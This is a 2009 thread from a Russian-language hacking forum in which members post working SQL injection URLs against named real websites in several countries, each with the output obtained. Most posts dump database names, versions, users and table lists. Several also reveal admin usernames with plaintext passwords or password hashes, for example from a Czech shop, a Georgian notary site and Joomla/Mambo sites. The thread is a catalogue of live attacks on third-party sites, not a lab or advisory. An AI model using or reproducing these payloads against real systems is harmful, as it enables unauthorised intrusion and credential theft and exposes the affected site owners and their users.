HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.05.2009, 21:15
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR: 6

http://www.pco.org.br/conoticias/ver_sessao.php?id=1&am=20 08-11'+union+select+concat_ws(0x3a,version(),dat abase(),user()),2,3,4,5,6,7,8/*

5.0.24a-locaweb-log:bd_pco:bd_pco@200.234.201.196


смотрим таблы)))но там не итересно)))бб

http://www.pco.org.br/conoticias/ver_sessao.php?id=1&am=2008-11'+un ion+select+table_name,2,3,4,5,6,7,8+from+informati on _schema.tables/*
------------------------------------------------------------------------
PR: 3

http://www.yerevaklur.am/tema.php?id=-1'+union+select+1,concat_ws(0x3a,database(),vers ion(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20/*

yerevaklur_lur:5.0.26-log:yerevaklur_lur@localhost

Последний раз редактировалось HAXTA4OK; 07.05.2009 в 21:31..
 
Ответить с цитированием

  #2  
Старый 07.05.2009, 21:47
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR: 4

http://www.sesc-am.com.br/atividades/3idade/programacao.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,database(),v ersion(),user()),6,7--

sesc_am:5.0.27:admin@localhost

таблы

http://www.sesc-am.com.br/atividades/3idade/progr amacao.php?id=-1+union+select+1,2,3,4,group_concat(table_name),6, 7+from+info rmation_schema.tables+group+by+table_schem a--

situacao_anomeses,distribuir,requisicao_pagamento, destino_ci,historico_req_transporte,situacao_trans porte,motivo_cancela_reqtransp,usuario,cod_orcamen tario,historico_contratacao,situacao_req_estoque,m otivo_alteracao_reqtransp,tipo_recurso,calendario, feriado,situacao_controle_outser,devolucao_retirad a,sexo,tipo_carga,almoxarifado,motivo_alteracao_ci ,situacao_calendario,encaminhar_ci,requisicao_reti rada,destino_obs,hora,situacao_usuario,mural,colab orador,historico_envio,situacao_req_pag,motivo_can cela_ci,tipo_retirada,cargo,funcao_colaborador,sit uacao_devolucao,tipo_destino,anexo_ci,motivo_alter acao_contrat,situacao_ci,endereco_ip,destino_trans p,requisicao_transporte,meses,suporte_gic,observac ao_ci,contratacao,historico_req_pag,situacao_retir ada,motivo_cancela_contrat,unidade,ci,funcao_modul o,situacao_gmt,tipo_doc_requisicao,ano,motivo_alte racao_reqpag,estado_retirada,situacao_circulacao,d etalhes_cardtemp,responsavel_setor,suporte_gmt,age nda,minuto,permis_modulo,corunidade,historico_req_ retirada,situacao_suport
------------------------------------------------------------------------

http://www.nature-ic.am/heating/project.php?b=2&id=-1+union+select+1,concat_ws(0x3a,da tabase(),version(),us er()),3,4,5,6,7,8,9--

natureic_heating:5.0.67-community-log:natureic_heating@localhost


http://www.nature-ic.am/heating/project.php?b=2&id=-1+union+select+1,group_concat(table_name),3,4,5,6, 7,8,9+from+informatio n_schema.tables+group+by+table_schema+limi t+1,1--


staff,information_text,news_eng,advisory_text,sem_ train,goals,links_eng,report_pilot_proj,cooperatio n_text_eng,library_eng,project,contact_eng,leg_tex t_eng,staff_eng,information_text_eng,advisory_text _eng,nister,sem_train_eng,goals_eng,menu,report_pi lot_proj_eng,exp_projects,link_types,project_eng,c ooperation,legislation,announcement,nister_eng,int er_exp,sem_train_text,information_for,menu_eng,sem _text,exp_projects_eng,link_types_eng,publication, cooperation_eng,legislation_eng,other_projects,ann ouncement_eng,inter_exp_eng,sem_train_text_eng,inf ormation_for_eng,news,sem_text_eng,glossary,links, publication_eng,cooperation_text,library,other_pro jects_eng,contact,leg_text

Последний раз редактировалось HAXTA4OK; 07.05.2009 в 21:55..
 
Ответить с цитированием

  #3  
Старый 07.05.2009, 22:32
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR: 6

http://www.24hours.ge/index.php?n=264&r=1&id=1+union+select+1,concat_ws( 0x3a,database(),version(),user()),3,4,5,6,7,8,9, 10--

24hours_eng:5.0.51-log:24hours@localhost


http://www.24hours.ge/index.php?n=264&r=1&id=1+union+select+1,table_name ,3,4,5,6,7,8,9,10+from+ information_sch ema.t ables--

куча таблов

log_users
users
phpbb_users(форума вообще не нашел)
-------------------------------------------------------------------------------

http://mitex.ge/index.php?lang=eng&request=news&id=-1+union+select+1,concat_ws(0x3a,versi on(),data ba se(),user()),3,4,5--

4.1.7-max-log:mitex:mitex@localhost

Последний раз редактировалось HAXTA4OK; 07.05.2009 в 23:11..
 
Ответить с цитированием

  #4  
Старый 07.05.2009, 23:15
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638

Репутация: 256
Отправить сообщение для DrAssault с помощью ICQ
По умолчанию

Код:
http://www.mobil-obchod.cz/category.asp?catcode=-13+union+select+1,2,3,4,group_concat(concat_ws(0x3a,username,password)+separator+0x0a),6,7,8,9,10+from+users/*
alfasoft1:alfa1234
andy:andy7890
jirka:jirka456
everybody:everybody
 
Ответить с цитированием

  #5  
Старый 07.05.2009, 23:39
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR: 4

http://www.arigram.gr/en/info_frame.php?id=1+union+select+1,2,3,4,concat_ws (0x3a,database(),versio n(),us er()),6--

arigram_arigram:5.0.67-community:arigram_arigram@localhost

------------------------------------------------------------------------
PR: 2

всем бы такие )))

http://www.greekmuscle.net/gr/profiles/profile.php?id=1+union+select+1,2,concat_ws(0x3a,d atabase(),version(),user()),4,5,6,7,8,9,10,11,12,1 3--&type=interviewGr


4.1.22-max-log:greekmuscle@68.178.254.189

Последний раз редактировалось HAXTA4OK; 07.05.2009 в 23:55..
 
Ответить с цитированием

  #6  
Старый 08.05.2009, 02:58
Kimliksiz
Познающий
Регистрация: 07.05.2009
Сообщений: 31
Провел на форуме:
137000

Репутация: 96
По умолчанию

http://www.ali.web.id/index.php?option=com_mambads&Itemid=ProgenTR&func= view&cacat=-1%20union%20select%201,concat(username,0x3a,passwo rd),3%20from%20mos_users--

admin:37538eb37d1b20e60cec3e0030139216 ??


http://www.kolckmann.de/web/index.php?option=com_gmaps&task=viewmap&Itemid
28&mapId=1&Itemid=28index.php?option=com_gmaps&tas k=viewmap&Itemid=57&%20mapId=-1/**/union/**/select/**/0,username,password,3,4,5,%206,7,8/**/from/**/jos_users/*

ADMIN : fc4cfabb7764cd3eb98cc4aa7d1a0a75 ??
 
Ответить с цитированием

  #7  
Старый 08.05.2009, 10:42
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR: 5

http://www.nordic-experts.gr/holarea.php?ID=-1+union+select+1,concat_ws(0x3a,database(),versio n(),u ser()),3--


nexpertsdb:4.0.18:nexperts@localhost

------------------------------------------------------------------------
PR: 6

http://www.notary.ge/index .php?lang=geo&query=regions&id=-1+union+select+concat_ws(0x3a,database (),version(),user())--


notary_main:5.0.67:notary_www@localhost

таблы :
regions_table,docs_table,statistics_table,english_ news_table,types_table,journal_table,users_table,n ews_table,backup_table

колумны таблы users_table:

id,user,password,name,type,reg_date


http://www.notary.ge/index.php?lang=geo&query=regions&id =-1+union+select+concat_ws(0x3a,id,user,pa ssword,name,type,reg_ date)+from+users_table--


1:5895700ee4f895f31ecb409f5e380fe7fb9e2524:f22c93f 486c3c3e7bb219761a452a5f13c23038f:GM Design Support Team:1:2006-01-31 01:13:00

--------------------------------------------------------------------------
http://www.avocat.gr/main-en.php?menu=practice&submenu=practice&id=-1+union+select+1,2,3,concat_ws(0x3a,database(),ver sion(),user())--

ingcom_avocat:4.1.22-max-log:ingcom_avocat@208.109.181.151

------------------------------------------------------------------------
PR: 3

http://www.eurolux.com.gr/news.php?id=-1+union+select+1,2,@@version,4,5--

Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
------------------------------------------------------------------------
PR: 7

http://erasmus.aegean.gr/ects/grad_allcourses.php?id=1+union+select+1,concat_ws( 0x3a,version(),database (),use r()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22--


5.0.51:ects:ectsuser@localhost

Последний раз редактировалось HAXTA4OK; 08.05.2009 в 14:09..
 
Ответить с цитированием

  #8  
Старый 08.05.2009, 14:37
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR: 3

http://dmet.iema.gr/index.php?lang=0&id=-1+union+select+1,concat_ws(0x3a,version(),datab ase(),user ()),3,4,5,6,7,8--


5.0.45-Debian_1-log:dmet:iema@localhost

Последний раз редактировалось HAXTA4OK; 08.05.2009 в 19:43..
 
Ответить с цитированием

  #9  
Старый 08.05.2009, 15:36
bug1z
Познающий
Регистрация: 07.05.2009
Сообщений: 64
Провел на форуме:
418218

Репутация: 59
По умолчанию

Немного скулей от меня:

Код:
http://www.swissconfort.es/detail-produit.php?id=-1+union+all+select+0,1,2,3,4,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),6,7,8,9,10,11,12,13,14,15--
db info:

Код:
swisscon3@localhost : swiss_confort_es : 4.1.19
################################################## #######

Код:
http://www.tuesdaymusic.at/gallery.php?id=-1+union+all+select+0,1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5--
db info:

Код:
web27@localhost : usr_web27_1 : 5.0.32-Debian_7etch6-log
################################################## ######

Код:
http://www.fondazionemondadori.it/electa/volume.php?item_id=-1+union+all+select+0,1,2,3,4,CONVERT(CONCAT_WS(CHAR(32,58,32),user(),database(),version())%20USING%20latin1),6,7,8,9,10,11,12,13--
db info:

Код:
fm_ele@10.10.0.11 : fondmond_electa : 4.1.10-log
################################################## ######

Код:
http://www.comitel.it/EN/newsdetail.php?id=-1+union+all+select+0,1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10--
db info:

Код:
cominfjv@localhost : cominfjv_comitel : 4.1.22-standard
################################################## #######

Код:
http://www.vipers.mi.it/news.php?id=-1+union+all+select+0,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),2,3,4--
db info:

Код:
103vipers@10.50.33.60 : vipersdb : 4.0.16-log
################################################## #####
 
Ответить с цитированием

  #10  
Старый 08.05.2009, 16:02
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://www.klooun-maroulis.gr/default.php?id=-1'+union+select+1,2,@@version,4,5,6,7/*&lang=en

5.0.45


################################################## #
PR: 2

http://soundgeist.gr/index.php?page=article&id=-1+uni on+select+1,2,concat_ws(0x3a,version( ),database(),user()),4--

4.1.13:soundgeist:soundgeist@localhost

Последний раз редактировалось HAXTA4OK; 08.05.2009 в 16:11..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)
 


Быстрый переход




ANTICHAT.XYZ